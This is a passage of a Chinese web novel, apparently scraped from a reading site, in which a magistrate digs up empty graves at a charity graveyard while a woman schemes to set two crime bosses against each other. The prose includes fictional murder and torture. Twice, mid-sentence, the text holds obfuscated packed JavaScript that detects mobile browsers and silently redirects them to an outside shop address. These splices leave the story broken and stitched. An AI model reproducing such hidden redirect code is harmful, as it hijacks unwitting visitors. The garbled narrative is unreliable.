“到底是谁胡说！哪来的贼？！”梁云钦脸上笑着，心下骂道，就是你这个老贼吧，偷不着，就堂而皇之地来抢，嘴上还是道，“九哥放心，东西都安全着呢。” “你就别瞒我了！”孙九爷不等他说完，“这家贼、外贼难防是其一，这其二嘛，最近烟火案的事，衙门不是已经查到你头上了？指不定那周冶明日就带人来搜府，万一给他搜出来了呢！” 提到烟火案，梁云钦心头更恼了，这老东西一环套一环地栽他呢。张举尸体都送他马车里了，要不是自己反应快，没准儿就让他栽定赃了。真让他拿了账本，他就能更没顾忌地对自己动手了。 他看着孙九爷，笑道：“这张举……不是一直没找着嘛，衙门有什么证据说我牵连其中？又何至于来搜府？便是来搜，又怎会让他搜到？” “若我真那么寸，那不还有九哥你么？”粱云钦故意顿了顿，“就算不顾及这么多年兄弟情分，也不怕我拉九哥你下水？” 说罢，大笑了起来。 孙九爷也跟着冷笑了几声，末了，看着梁云钦，慢慢收住了笑容，冷声道：“怕啊！所以，今日我必须要拿走！” 梁云钦的眼神也冷了下来，肥腻的下巴一抬道：“我若是不给呢？” 孙九爷看着他，冷笑一声：“我若硬抢，你拦得住吗？” 梁云钦不说话了。 孙九爷云淡风轻地道：“现在可不比以前，咱们的怀义大哥不在了，可没人保你喽。” 说着，笑着瞥了梁云钦一眼。“东西，我今日是一定要拿的。你的命嘛，要与不要，你自己选。” 将那杀神送出了门，梁云钦扶着门骂道：“泼皮就是泼皮！不管换上什么衣服，还是那个泼皮！无赖！强盗！土匪！” 骂完一通，他才转身回书房，无力地抬了抬手，吩咐杨管家道，“带上门，在门外守好，谁也不许进来。” 杨管家退了出去，将院子里的人都遣开了。 梁云钦走到窗边，伸手在窗棂下一摸，只听“吱嘎”一声，窗棂弹开了一条缝，竟是个暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999172|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格。 梁云钦拿出里面的东西，拍了拍，笑道：“账本这种东西，谁还没多抄一份啊！” 想到孙九爷方才威逼的样子，拿着账本洋洋得意而去的样子，他恨恨地笑道：“我若真落到了官府手里，看我不第一个咬死你！” 就在这时，一阵劲风倏地袭来。 窗棂突地碎了，梁云钦没来得及叫出声来，一只手就已自破处伸进来，勾住了他脖子，将他整个人拉过去贴墙困住，叫喊不得。 他手上死死地拽着账本，但很快就喘不过气来，失去了意识。 “老爷！”杨管家在门外叫了一声。 “进来！”梁云钦道，“你赶紧派人去义庄，我感觉不太好，只怕要出事。” 杨管家疑惑道：“他们应付衙门也不是一日两日了…..” “赶紧去！”梁云钦一拍桌子。 他本以为，孙九爷要账本只是为了以防万一，方便日后对自己下手，没想到已经备了这一手，拿了账本就立刻一举弄死他。 杨管家应着“是”，退了出去。 *** 荒坡上的坑挖开了，里面却没有尸体。 周冶看向老馗：“看来是你想错了。” 老馗却道：“不会，定是此处。小老儿在这里几十年，哪寸土不熟？” “那新来的小子呢？” “那小子被吓了，第二日就没敢再来了。” 周冶也不想跟这老顽固强辩，看旁边还有才动过的新土，抬手一指道：“挖！这些都挖开！” 老馗身子蓦地动了一下，似乎想拦，见周冶正看着他，终究忍下了。 一时间，又是碎土乱飞。 这个公子县令不勤政，但爱撒银子。好不容易得个机会在他眼皮子底下干活，有个官差想好好表现一把，卖力地将手中铁锹舞得飞快，不料，一个用力过猛，一锹土就直奔周冶飞了过去。 周冶正负手而立，衣袂迎风翻飞，冷不防一锹土兜头而来，如暴雨倾泻而下。他感觉到风来的瞬间，忙闪身一让，抬手一挡，但还是被洒了半身。土渣洒到了头上，大氅的领口上，一动就钻了进去。 众人都惊得停了手，再看那肇事的，此时一脸又惊又悔，满脸写着想一锹土把自己当场埋了。 作为公子的周冶，想直接上去，提了铁锹，给他脸上糊上十锹土。但他现在是大人，得大度，得体面。 他的脸色变了几变，终于咬着后槽牙笑道：“挖！继续！都愣着做什么？好好干，有赏！” 众人顿了顿，又忙活了起来。 周冶转过身去，脸色立刻变了，连连呸了几声，总觉得吸了土渣进去。一想到这是不知混了多少死人尸水、血肉的土……他整个人都不好了。 “公子？”侍剑上前，低声问，“没……事吧？” “有事！” 周冶恼火地压着声音道，“也不知道吸没吸进去！” 他尖起手指，小心翼翼地解开大氅，那一头一颈的土便簌簌往下掉。若真糊了一铲到脸上，不如直接重新投胎算了。 “愣着干嘛？还不过来给我拍一拍？”周冶没好气地道。 侍剑这才“哦”着，上去帮他拍了拍。 周冶一边拍着，一边往高处走去，“躲远些，省得再有那不长眼的。” 站上高处，往下四望，他突然发现，此处像是刻意选过的。 闲来无事的时候，他也看过几本有关风水的杂书，知道越是乱葬岗之类的地方，越需要能镇魂散煞的穴场。一则，能作这种用的地方，自然不可能是风水宝地，多少都有些问题，二则，收葬苦命、凶煞之人的地方，也越容易积阴积煞。 瞧这儿，倒是个适合的穴场，商会当初应该是用了些心思，买地的时候没贪便宜糊弄。 这么仔细扫视了几遍，周冶忽然觉得，这荒坡好像有什么不对——就像频繁翻动的耕地似的，都没来得及长草。 再看看周围，不管荒地，还是林间树下，都有枯草，苔藓。偏偏这片坡上，没有林木遮挡，还有尸体——养分充足，却偏偏草都不长几根？这荒坡的土，何至于翻得这么勤？ 他的目光从地上，慢慢挪向了老馗。 老馗竟也正看着他，一碰到周冶的目光，忙低下了头去，大概又觉得这样太心虚，重又抬头看着周冶，笑了笑。 可这个笑里，却透着些诡异。 周冶正在咂摸，就听侍剑站在坑边冲他喊道。 “空的！公子！还是空的！” 周冶转头看向老馗，目光陡然锐利：“挖！再挖！这左近的新土，都挖开看看！” 76. 身后 竹雨院里，孟珂合上了手中的册子，静静地坐着，眼中似有黑云涌动。 雨歇扫了一眼，问：“小姐，看出什么了？” 那日从窗外抢走梁云钦的账册副本的，正是雨歇。 孟珂闻言回过神来，冷冷笑道：“看出了两个字。” “两个字？什么字？”雨歇猜道，“账本？贪财？” 孟珂直视她道：“吃人！” 她料定了孙九爷要跟梁云钦切割了，必夺账本，可账本不好找，梁云钦也必有后手。于是，让雨歇搞了一出投石问路。 雨歇先进梁府乱翻了一通，搅得乱七八糟，但钱财分文不取。摆出这一出“闹贼”，便一跃翻上房梁，坐等着梁云钦回去。出了这样的事，梁云钦必定回去亲自确认，自己的东西到底有没有被动。 孟珂自然也让孙九爷的人得了消息。他自然不会错过这个好借口，乘机上门强取，让他们撕上一把，借他的手，把梁云钦压箱底的保命副本掏了出来。 “有小姐的好谋算，看他们还怎么吃人！这次得让他们把自己吃下去！” 雨歇想起来都还乐，笑道：“用张举把梁云钦拉进烟火案，让他对孙九爷起疑，再用义庄的账本点火，让他们彻底撕破脸。这义庄的事再一掀开，就是不死不休之仇了。看着他们就这么掐起来，一步步走入小姐设计好的穷巷，把彼此往死里弄，我就开心！” “别开心得太早！”孟珂问，“闾城那边如何了？今日的消息可到了？” 雨歇哎呀一声：“忘了同小姐说，到了，情况还未稳定。” “不惜一切代价，一定要把人救回来。”孟珂叹了口气，“她……不该死。” 雨歇认真地点点头：“我会盯好此事。” 那日，孟珂的人追查到闾城的时候，还是晚了一步。 那张举其实早就知道他跑了的媳妇儿——董雁儿母子的下落，只是乐得自己一个人逍遥，无人管束，一直没上门去寻。 他自那夜被发现后，一直战战兢兢，知道自己命悬一线，便想去带上唯一的儿子跑路，不管跑到哪里，好歹有人养老送终。没想到，到地方一看，竟见董雁儿已经有了相好。两人正在商议成亲之事。 他在院墙外躲着，等那男人走后，才去敲门。 董雁儿从门缝里一看到他，吓得一把抱住孩子，不敢出声。 “雁儿，我知道你在。”张举强堆起个笑，说道，“我就是来看看你们，看看孩子。瞧，我还给孩子买了好吃的。我好歹也是孩子爹，你就让我进去，看看孩子吧。” 董雁儿看了看孩子，孩子确实也总问起爹。她想着，无论如何，他们总是父子，于是开了门，让他进了屋。 谁想，张举一进屋，将带给孩子的东西一扔，便抄起方才从厨房摸的菜刀，劈向了董雁儿。 他怒吼道：“当年，你一声不吭，就带着我张家的孩子跑了，在外面浪了这么些年，可开心了？如今更能耐了，还勾搭上野男人了！” 董雁儿边躲边哭喊：“我早说了多少次，要与你和离，是你不答应。休书我也愿接，是你死活不放。我是别无出路，才只好一走了之的！但凡有路走，我愿意带着孩子背井离乡吗？你知道一个女人带着孩子过活多难吗？” 张举狞笑道：“想和离，想休书？想屁吃呢你！你是我的人，生是我的人，死是我的鬼！想跟野男人成亲，想给人生野种！你找一个，我宰一个！” “你凭什么……”董雁儿身中数刀，已经跑不动了。 张举按着她，举起淌血的刀指着她：“凭什么？你嫁给了我，就是我的人！” 看着亲爹一刀刀砍向亲娘，孩子在一旁吓傻了。等反应过来，要往外跑，被张举一手摁住了。 孟珂的人破门而入的时候，就见他一手摁着孩子，一手还在劈砍…… 张举被绑回了绥陵，扔进了暗巷里。等他发现周围没了人，手上绑的绳子一动就松脱了，忙脱手出来，摘下黑布头套，发现自己竟在熟悉的地方——黑石堂的赌坊后门。 等反应过来，他忙手脚并用地爬起来，拔腿就要跑，可钢跑两步，前方就被堵住了。 “那不是……张举那小子吗？” 再一转身，可身后也是黑石堂的人。 这天夜里，孙九爷的心腹王成，带人在河边挖坑埋了什么。 可他们前脚一走，张举后脚就被挖了出来，出现在了梁云钦的马车中。 等梁云钦的人离去，他又一身土地出现在了城北的废宅…… 雨歇疑惑道：“小姐，义庄毕竟是那梁云钦和孙九爷的地方，你就不怕送去那儿，让他们认出来？就算认不出来，直接把张举给拆了、藏了，周大人去能找到他吗？” 孟珂笑笑：“拆了，有拆了的做法，不拆，有不拆的用处。” 这时，红荔推门进来：“五儿姑娘把小姐要的书，都送来了。” 孟珂“嗯”了一声：“就放桌上，早则今夜，晚则明日，就有人来拿了。” *** “不是埋了吗？”听到张举尸体被发现的消息，同样震惊的还有孙九爷。他正在给花松土，一铲子撬飞了一地的土，又惊又怒，“不是你亲手埋的吗？” 心腹王成一头雾水：“属下……是亲手埋的啊！” “赶快去看看！” 王成没听明白，孙九爷怒道，“去挖开看看啊！到底是真不见了，还是假传消息呢。” “等等，再派个人立刻去义庄。” 王成忙应着是，小跑出去了。 孙九爷茫然道：“明明埋好了尸体，被谁挖出来了？要找我们的事，哪怕丢到黑石堂门口呢，偏偏丢到城北去，让人收去了义庄……这，总不会是巧合吧？那么巧让人发现了？让野狗刨出来了？不对，刨出来也不会丢去城北！” “既然丢去了义庄，不管有没有被认出来，怎会捅出来呢？难道……是梁云钦，想用他，把烟火案的嫌疑反推回到我们身上来？” 梁夫人从帘后走了出来：“若真是他，若他是冲着烟火案倒罢了……” “不会吧？！冲着义庄去？”孙九爷道，“除非他想鱼死网破，同归于尽！只要有机会拉我们下水，他肯定会做点什么。但是，他怎么能保证自己可以全身而退？虽然拿了他的账本，但他也犯不着，这就要同归于尽啊？” 梁夫人边想边道：“若真是他，要么是要拉我们一起死，要么……就是他有了保命的手段。” 但那会是什么呢？她一时还想不到。 孙九爷皱起了眉：“若真是冲着义庄去的，账本和收尸录在手，黑石堂不会受牵连吧？” 梁夫人道：“让你去拿账本，就是防着这一天。” 孙九爷点头笑道：“谁想他家竟闹了贼，这不是想睡觉就有人递枕头吗？不过，这事若彻底掀开来，可就大了……咱们只怕也不好脱身。” “小，有小的办法。大有大的办法。”梁夫人道，“周冶若是个聪明的，往小了办，义庄是商会的资产，人和地可全是他梁会长的。就算黑石堂有个别人，为了钱，私下帮他做过些事，那交出去便是。这件事上，黑石堂可以配合衙门。” 梁夫人笑道，“牺牲几个小喽啰，借周冶的刀杀了梁云钦，这笔买卖，值！” 孙九爷：“若是往大了办呢？” 梁夫人道：“越大越好！大到他周冶不敢碰，上头也不敢查！” 孙九爷：“那咱们现在？” “一动不如一静。别引衙门注意，自投罗网。吩咐下去，若是……能帮的，就帮帮周大人。”梁夫人道，“我可就等着梁云钦落井，好给他多下几块大石头呢。” 她思索着道，“我现在担心的是，若不是梁云钦狗急跳墙……熹园可有动静？” “没动静。”孙嬷嬷道，“那周冶同那位也没什么往来，这些日子都新鲜着那个从乡下带来的丫头呢，打扮得跟贵女一样，成日带着到处吃喝玩乐。” “那就好。” *** 城外的荒坡上，老馗终于急了：“大人！使不得啊！这都说入土为安，挖一两处也就罢了，怎么能把这……都挖了？这要搅得魂灵不安，怨气冲天，怕是要祸及周遭百姓啊！” 侍剑喝道：“少在这儿危言耸听！” 周冶却好整以暇地看着他，笑问：“那你说说，这坑里怎么都是空的？一个是空的，两个是空的！个个都是空的！都上哪儿去了？” 老馗说话的速度也快了：“许是……许是下头的人……做事敷衍，坑挖得浅了。这虽不是乱葬岗，但周围的野兽也常有来此的，想是刨开……叼去了。” 周冶双手抱在胸前，看着老馗：“林中有野兽，不稀奇。被叼去，好像也在理。” 他顿了顿，抬手摸了摸鼻子，忍住好笑道，“可这野兽，什么时候还生了后手，叼走了，还记得把坑重新填上？” 老馗道：“这……定是下头人看到，怕事情败露，自己填上的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999173|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周冶点点头，又走了一圈：“又圆上了啊？那你又说说，这里的野兽怎么这么有规矩，看看这一片，别说破布头、残骸断肢了，连骨头渣子都不剩！又是手下人自己收拾干净的？” 老馗：“应该是……” 周冶的语气陡然转厉，喝道：“荒山无主之坟，被野兽刨了不稀奇，尸骨遍地也常见，但像这般干净的，却从来没见过！” 老馗：“商会好歹出了钱，雇着我们在此做事……总不能太难看，让人看着怎么好？” “方才不是还说人手不足吗？” “这……收尸多了的时候，自然就不足了。少的时候，自然……就能腾出人手来收拾了。” 周冶点点头：“商会的钱花得可真值，你们在这儿做着这无人监督的活，还这般尽心尽力。我倒要问问梁会长，是怎么找的人，向他取取经才是。” 周冶想起了什么，又问：“收尸录呢？拿来我看看，这最近都敛了多少，咱们一个个来找。” 老馗道：“这义庄的收尸录，向来只潦草记一句，年貌特征，收于何时何处，因何而死，敛于本义庄。日后若有人找寻，知道收敛于此处义庄，冲山上遥祭一下，也就了事了。这人死万事消，后事后事，身后，也就这点事了。谁还要再去究什么竟呢？” 周冶：“没有敛于义庄何处的记载？” “向来没这个规矩。”老馗道。 周冶想想也是，大多数义庄都是为自家族人所设，全凭管事的记忆打理，逝者亲人也知道地方，又有碑文在。而收无名尸的，都是无主荒坟，义庄怎可能多花这份银子和精力。便是有心，也不知谁是谁，全无必要。 “大人，”老馗道，“这地方这么大，您还能真把每一处都挖了不成？” 侍剑闻言看了一下，倒是犯了难：“公子，咱们这人手只怕不太够……” 老馗继续道，“说是无主的，可您真这么做，也要引得百姓震动。本就忌讳挖坟开棺，何况一次挖那么多？这之后要是有任何天灾人祸，只怕都要算到这件事上头，大人何必给自己招惹这么大的后患呢？” 老馗这话似乎是替自己着想，可周冶却总觉得有什么不对。他本没有打算真把这义庄的地方挖个底朝天。 突地，一个念头在周冶心中陡然升起，自己先就一个激灵。他慢慢地转过身，看着老馗道：“只怕，不只是这一片的墓坑里没有尸体吧？” 老馗枯瘦的身子猛地一抖，就像风中干枯的叶子。 周冶不可置信地一笑，吐出一口气，慢慢地抬起手，脸色逐渐阴翳，指着周围道：“挖！先把这新近埋的，全都给我挖开！” 侍剑得令，大手一挥：“挖！全都挖开！” “使不得！”老馗大叫一声，晃悠着身体，朝周冶奔过去，拽着他的衣服，跪了下去：“大人，使不得啊！” 周冶微微俯身看他：“你倒说说，怎么使不得了？这土下，埋了什么要不得的宝贝，还是什么不能见人的秘密？” 老馗目光闪烁，边想边道：“可能……可能是小老儿年纪大了，一时昏聩，记错了也是有的。让我回去翻看下收尸录，也许……也许在别处！” “收尸录，我要。这地，我也要挖！” 周冶看了看周围，冷笑道，“你们这儿，难道还真要挖地三十尺，才能找出一具尸体不成？” 老馗顿了顿，良久，才似乎下定了决心道：“大人，小老儿这么说，实在是替大人您着想！” “替我着想？”周冶要气笑了，朝老馗抬了抬下巴，“你说说，到底是怎么替我着想？” 老馗抬眼看了看他，又转头看了看此刻到处铁锹翻飞，尘土飞溅的山坡，叹了口气，终于开口道：“大人以为，这事是您来了绥陵才发生的吗？” “自然不是。” “大人又觉得，历任县令都对此一无所知吗？” “想必也不是。” “那既然一直都有，又都知道，却无人来管，自然是有‘不当管’的缘由。”老馗道，“这身后事，身后事，黄土一埋，就了事了。连死者家人都不管，大人又何必来管呢？” 周冶：“你这是在威胁本官？” 老馗道：“小老儿只是说一个事实。” 周冶放眼望去，山坡上已经刨得跟地鼠打洞一样，到处都是坑。 周冶回头看着老馗，吩咐道：“回去多叫些人来，把这儿的荒坟逐片起了，带上仵作来拣骨勘验。义庄一干人等，全都带走！” 77. 一夜 一声令下，官差齐声应“是”，将手中铁锹一扔，便将方才就拉来一起挖尸的义庄人手通通拿下。 周冶看着他们被押走，目光一一扫过，最后落定在了老馗身上，叮嘱道：“将此人单独关押，好生看管！” 老馗闻声转头看了他一眼。这一眼，一扫方才的卑下、惶恐与慌乱，还有种反过来审视周冶之意。 正这时，侍剑走过来，在周冶身边站住，难得地叹了口气：“张举的尸体没找到，一案还未平，一案又起，简直没完没了了。” 周冶看着那一行嫌犯，苦笑：“谁说事情只能一件件出，等你搞定再发？屋漏还偏逢连夜雨呢，屋子说什么了？那张举尸体的消息是谁送的，查出来了吗？” 侍剑摇头：“老叫花和收尸人都否认了。” 那塞在衙门门缝里的信，是她的人送的吗？周冶转头看了一眼那挖得乱糟糟的山坡，从烟火案牵出张举，再循着他来到义庄，这桩桩件件背后，定然都少不了那只纤纤玉手。她终究是不会放过梁云钦的。 “老爷！” 杨管家急步冲进邀月阁，没搭理笑脸迎上去的老鸨，一直跑到苏姒的房门口，匆匆敲了几声门，听里面仿佛应了声，就忙冲了进去。 梁云钦正在榻上小憩，闻声坐起，看他那大事不好的模样，叹了口气，问：“那什么......真不见了？” “对，不见了。可小的要说的不是这，”杨管家看了苏姒一眼，“还出了……另外的事了！” 苏姒见状，直接往梁云钦身上一靠，抬手勾着他脖子，转头看向杨管家，笑道：“还把我当外人啊！” 梁云钦知道只怕是义庄出篓子了，抬手在她胳膊上摸了一下：“瞎说什么，我有些饿了，你且去帮我备一点小食——” 见她没动，又在她手上拍了拍，催道，“乖！” 苏姒“啪”一声甩开他的手，不悦地扭身往里屋去了。 看着她的身影消失，杨管家急道：“义庄的人，全让衙门给拿了！” 梁云钦“腾”地站了起来：“什么？！他们不是一向知道怎么应付吗？那张举的尸体没了，老规矩，随便指认一具不就完了？怎么还拿人了？” 杨管家道：“我们的人去，就见衙门正押着所有人在坡上，挨着起坟呢！只怕是已经发现了！” “怎么会......”梁云钦焦躁地转了两圈，又看向杨管家，“那……收尸录和账本......” 此话一出，他也知道是白说。只要想查，便不是假收尸录、假账本能掩盖得了的。 他坐了下去，重重地一拍床榻：“这次，只怕是不逼死我，不会罢休了。” 前夜，账本丢了，今日，义庄便被查，这连环策就是冲着自己来的。 “我就觉得不对，怎么突然就管起义庄那档子事了，本来想着，暂时停手一段时间便是。哪知……孙老九，你下手可真是快准狠啊！当真以为拿了账本，我就把你没辙了是吧！” 可恨的是，此事他自己怎么都脱不了责，总不能为了拖人下水，损他个八百，就先自伤一千。现下，还不到非鱼死网破不可的境地。 他恨恨地拽紧了拳头，捶了一下床榻，咬牙道：“备好人手，小心候着，衙门的人一撤，立马去清理干净，别留一丝痕迹。” “已经吩咐下去了，就等着老爷发话，便可去。” 梁云钦点了点头：“做干净点，可别让人盯上了，反而……” 他不由想起账本的事来，自己若不去查看，那人兴许还翻不出来。 想到此，他顿觉脑袋生疼，抬手撑着额头，继续道，“至于那些被抓的，递话进去，只要把嘴闭好，每人家里送一千两银子。可若随便吱声，就别怪我们了！黑石堂的手段，他们是知道的。” 这时候，他又觉出平日有黑石堂的好来。可他如今也只能借此吓唬吓唬，绝不敢再让黑石堂插手了。他们不威逼这些人咬死他才怪。 “明白。小的这就去安排。” 梁云钦又想起了什么：“等等！前些日子让你查的事情怎么样了？” 杨管家顿住了脚步：“算算日子，差不多该传消息回来了。” “此事，务必抓紧办！” “是。”杨管家顿了顿，奇道，“老爷怎么突然想起查这事？” 梁云钦哼了一声，看了里屋一眼：“倒是那日苏姒一问，点醒了我。” 看杨管家一脸疑惑，他继续道，“她问我，这孙九爷和梁夫人，到底是什么关系？” 此前，他从来没往这上头想过，可苏姒一提，他倒是有点回过味来——自从曾怀义死以来，那二人的关系是渐渐透出些蹊跷来。 曾怀义葬礼时，上头来人，出人意料地让他们暂且都听梁夫人的。 他知道自己坐不住那个位置，但要听个女人的，而且还是那个女人，他是百般不愿的。曾怀义在的时候也就罢了，这曾怀义都死了，她反而还要骑到他头上去了？ 他本以为孙九爷一定会先出头，谁料，他一点都不觉的有何不妥，反道：“女人好啊！她能懂什么，还不是我们哥俩说了算？比谁都好拿捏不是！再者说，她怎么也算半个自己人，总比换别人好。” 看他一脸惊疑的样子，孙九爷又道，“上头暂不表态，既不定你我，也不给曾家准话，让她暂代此位，大家都好；二嘛，兴许也是因为她陈家媳妇的身份，想试试看，能不能把陈万霆拉进来？那陈万霆年轻有为，前途无量，日后继续往上走，能做的事比我们多，这咱们不得不认。” “所以，就算真让她一直坐下去，也不是坏事，总比曾家小子上位好，起码不会疑心咱们与他有杀父之仇。咱们的摊子和命都保住了，上头还是半个自己人，虽不是最好的结果，但也不赖。你说是不是？” 这套说法，梁云钦当时就不吃。若能拉陈万霆进来，的确是助力，可梁夫人背后这些事，哪件敢让夫君知道？他更怀疑，陈万霆会为了女人上这艘贼船？他不像他们，什么都没有，只能搏一把。有门有路的世宦公子，何苦来蹚这浑水？ 再者说，若孙老九真当梁夫人是个幌子，又岂会是如今模样？ 最初，他以为孙九爷不过是冲着曾怀义的面子，也给上头面子，可眼看着那老东西对曾本人一丁点情分也无，对曾家更是恨不得立时赶尽杀绝，偏偏对他吩咐照护的梁夫人，一如当初？不，甚至比对曾怀义还言听计从。 梁云钦这才惊觉，是该查查这二人了。若只是孙九爷倒还罢了，同自己左不过是争利，万事都还有得谈。可这梁夫人就不一样了。她跟自己可是……有仇啊！ 当初有曾怀义压着，两头才安生了这些年。可如今这压舱石没了，船上的人，谁不是各怀心思，下一刻指不定把谁扔下水。若那孙梁二人真有什么，这被扔下船的就只会是自己了。 此前桩桩件件的背后，他知道梁夫人定会乘机挑唆，但如今想来，倒不只是挑唆了。 她真得了势，他们之间，就非得你死我活了！ 琢磨着这些事，梁云钦在榻上来回翻腾了一夜，直至晨光熹微之时，才迷迷糊糊过去。 *** 而此时，南山上还星星点点地亮着烛火。 大晚上在坟山挖尸，够吓人了；可更吓人的是，挖不到尸体。 这一夜下来，除了金三那种有身份的人来花钱殓葬、立碑祭奠的，其他大多都空空如也。而所剩不多的尸骨里，也找不到几具完整的。 天越来越亮，坡上的烛火也渐次灭了。 周冶抬起酸痛的脖子，将收尸录和义庄账本合上，吹熄了蜡烛，站起身来。 侍剑走过来，冲周冶摇了摇头。周冶叹道：“好好查查这义庄设立以来的所有事，还有商会的相关人等，看看哪些人可能与此有关。” 抓人审问他可以，调查什么的就只有抠脑袋了。侍剑抠脑袋道：“这……” 周冶拍了拍他肩膀，笑道：“我就是自说自话，你只管这边挖尸和继续找张举。其他的，我安排洗墨和涤砚去办。” 侍剑顿时松了口气，他还是对尸体去哪儿了这种问题更有兴趣。 他看向山坡，凝起眉道：“公子，你说这些尸骨到底怎么回事？是丢了，还是原本就残缺不全？可即便是战场，身体残缺的兵士大多都活不下来，直接就埋骨疆场了，不会出现在这儿。” 周冶哼了一声道：“哪有那么多身体残缺的！” “若不是生前残缺，那便是死后……”侍剑越来越迷惑，“可公子不是也说了，不像山间野兽？” “当然不是野兽。若是野兽，必然会到处留下痕迹。”周冶冷笑道，“做得这么干净的，只能是人为。” 侍剑：“你是说，死后被人分尸？” 周冶点点头。 侍剑：“可为什么呢？谁疯了，把一个山坡的死人都给分尸了？难道是那个老馗？他不会是……屠户，还是刽子手出身吧？难道是有奇怪癖好，不剁一剁什么，就手痒难耐？” 周冶看了他一眼，笑了：“不错，有进步，知道动脑子了。但别的不说，你看他有功夫吗？有那么多力气吗？每天宰那么多，就他？让你干，你都嫌累。”< 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“以前她大概不会。可如今却不同了。” “如何不同？” 周冶道：“如果不是京中恐有变故，她可能会慢慢跟那些人玩。但卢宽都被召回去了，京中随时有变故，她没那么多时间在此慢慢耗了。” 侍剑点头道：“公子说得有理。” “可她……”侍剑迟疑道，“可她说的，能信吗？” 周冶笑笑：“我信。” 回了衙门，换过衣服，正好边用早点，边听涤砚的回报。 涤砚和洗墨都没闲着，连夜将义庄抓回来的人审了一遍。如周冶所料，个个都嘴硬，但他这次也不手软了，放手让他们大刑伺候。重刑之下，有几个熬不住的，多少吐了点口。 涤砚道：“说义庄确实有将无名尸卖出去，给人配阴婚的。还有些人是天生残疾，或因故残缺，也有买了配全，以求个全尸的。” 周冶道：“民间配阴婚的事屡禁不绝，哪里都有，而身体残缺的，又能有多少？仅凭这两项，何至于就空了？黑市也查了？” “查了，是有些尸体买卖，但量都不大，也都是这两种。” 周冶冷笑：“总不见得大历所有买卖尸体的，都奔着这绥陵来，都指着这一个南山义庄薅，把那一坡都给薅空了吧？继续审。” 说完，起身指了指带回来的几本册子，招呼洗墨道，“拿上，跟我走。” 走进院子，他隔着花窗，往竹雨院里扫了一眼，见那花木扶疏中仿佛有个人影。 进去一看，一个伺候的人也没有，只孟珂侧躺在一张贵妃榻上，闭眼晒太阳。 他轻轻走过去，在一旁的椅子上坐下。 睡着的她，看起来格外不一样，似猫，又似虎，让人想伸手触摸，却又怕她立刻便冲他嗷呜亮爪。 他静静地看着她，不由想起，那夜在农家，她昏睡中眉头紧锁，梦魇缠身的样子；她病发时虚弱苍白，虚汗涔涔的样子；如今虽然血毒未清，但脸色至少看起来正常多了。 想到此，他不由伸出了手，想看看她袖中的手臂，病势可有缓解。可刚伸出去，就停在了半空，心虚地转头看了看周围，像怕被人抓到做什么坏事一样。 一发现自己这心虚，他不由笑了，虚虚地团了团手，装作伸了伸胳膊，顺势收了回去。 他无声地叹了口气，她原就该是个能安睡，能饮能食，每日晒晒太阳，看看花草，过着闲散富贵生活的小姐，至多也就愁一下夫君前程，孩子学业，偶尔为公婆妯娌关系烦难一下的女子。 可她竟活成了如今这样，带着这药石无灵的身躯，以世所罕见的心志，日日忍受着生不如死的痛楚，以一个女子的身份，去做大多男儿都做不到的事，还要不失本心，不伤无辜…… 他都替她觉得，太难了，而这样活着，也太累了。 一阵风起，他抬头看了看，这些丫头也不知哪儿去了，也没个人守着。人睡着的时候，正是卫气回收，最吹不得风的时候。她这身子，哪还经得起邪气入体。 他起身站到风头处，单腿蹲下来，挡在她头前，正正对着她的脸。 明亮的阳光透过草木，落在她脸上，映得微微透亮。他不由想起，上次同她靠这么近的时候，想起她在自己怀中的触感，一时便觉得耳朵发热。 “看够了吗？”孟珂突然道。 周冶猛地一愣，舌头都打结了：“你……你醒了。” 78. 阴风 孟珂缓缓睁开眼，见周冶半蹲在面前，离她的脸如此之近，想挪开，又显得突兀，一时僵在了那里。 周冶瞧她一僵，耳根更红了，还装作若无其事的样子，笑道：“你……没睡着？” 孟珂很快调整了，淡淡扫了他一眼：“你这么蹲着，脚不麻么？” 周冶站起来，走到旁边的躺椅坐下：“我这不是，怕你受风么。” 余光里，孟珂似乎笑了笑，“那谢谢公子了。” “怎么也没个人伺候。” 话问出的瞬间，他的脸也彻底僵了——她若不曾睡，自然也不怕风，尴尬地顺势往后一躺，手枕在脑后，闭上了眼睛。 春日暖阳已经有了些力道，晒在人身上暖烘烘的，周冶享用了一会儿，简直觉得人都要化了，舒服又懒懒地叹道：“你倒也会享受。” “我一个闲人，不晒太阳做什么。倒是公子你，怎么，衙门今日无事？” 周冶偏头看了她一眼，小小地不满道：“我俸禄是你发的么，生怕我歇上一刻似的？你对自家下人也没这样苛刻啊。” 孟珂笑道：“你的俸禄虽不是我发的，但是万千子民的供养。我算是你的……金主之一吧。” “金主？”周冶听笑了，点着头道，“好，我的金主。孟大金主！” 顿了顿，他才想起自己来找她的目的，又道，“何况我还是为了你的事，熬了一大夜，回来连觉都没来得及睡。看你在休息，顾念病人，才在旁耐心等候嘛。” “我的事？大人做什么，都是自己份内的事吧。” 周冶本就一夜没睡，这会儿闭着眼，困倦很快便排山倒海而来，含含糊糊地“嗯”了一声，便恍惚了过去。 不知恍惚了多久，突地惊醒过来，发现自己竟睡着了。 而脑中，恍恍惚惚的梦中，一直盘旋着那些事，让他简直分不清自己是梦是醒。 真是片刻不给他安歇啊！他怎么也成了个劳碌命了呢？他叹了口气，郁郁地坐了起来，道：“我找你是要说正事。” 孟珂“哦”了一声：“义庄案？” “跟聪明人说话就是省事，”周冶看着她道，“咱们打开天窗说亮话，没人比你更了解梁云钦的事了。” 孟珂嘴角微微一扯：“可我的话能信？大人就不怕我陷害他？” 